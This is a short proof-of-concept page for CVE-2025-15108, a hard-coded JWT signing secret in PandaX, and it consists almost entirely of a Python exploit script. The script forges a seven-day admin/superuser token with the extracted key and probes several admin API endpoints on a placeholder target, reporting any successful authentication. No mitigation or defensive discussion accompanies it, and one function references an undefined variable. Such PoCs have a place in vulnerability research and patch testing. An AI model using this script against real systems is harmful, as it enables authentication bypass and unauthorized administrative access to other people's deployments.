CVE-2025-15108 PandaX JWT Secret硬编码加密密钥漏洞

# CVE-2025-15108 PoC - JWT Secret Hard-coded Key Exploitation # This PoC demonstrates how to exploit the hard-coded JWT secret vulnerability import jwt import requests import json from datetime import datetime, timedelta # Hard-coded JWT secret from config.yml (obtained from source code) # The actual key value needs to be extracted from the vulnerable config.yml file JWT_SECRET = "extracted_hard_coded_key_from_config" # Replace with actual key TARGET_URL = "http://target-server.com/api" def create_fake_jwt_token(username="admin", roles=["admin"]): """Generate a fake JWT token with custom claims""" payload = { "sub": username, "roles": roles, "iat": datetime.utcnow(), "exp": datetime.utcnow() + timedelta(days=7), "iss": "PandaX", "aud": "PandaX-API" } # Sign the token with the hard-coded secret token = jwt.encode(payload, JWT_SECRET, algorithm="HS256") return token def exploit(target_url, fake_token): """Send the fake token to the target API""" headers = { "Authorization": f"Bearer {fake_token}", "Content-Type": "application/json" } # Try to access protected endpoints endpoints = ["/api/admin/users", "/api/admin/config", "/api/protected"] for endpoint in endpoints: try: response = requests.get(f"{target_url}{endpoint}", headers=headers) print(f"[+] Request to {endpoint}: Status {response.status_code}") if response.status_code == 200: print(f" [!] Successfully authenticated as {username}!") print(f" Response: {response.text[:200]}") except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") if __name__ == "__main__": # Generate fake admin token fake_token = create_fake_jwt_token("admin", ["admin", "superuser"]) print(f"[*] Generated fake JWT token: {fake_token}") # Attempt exploitation exploit(TARGET_URL, fake_token)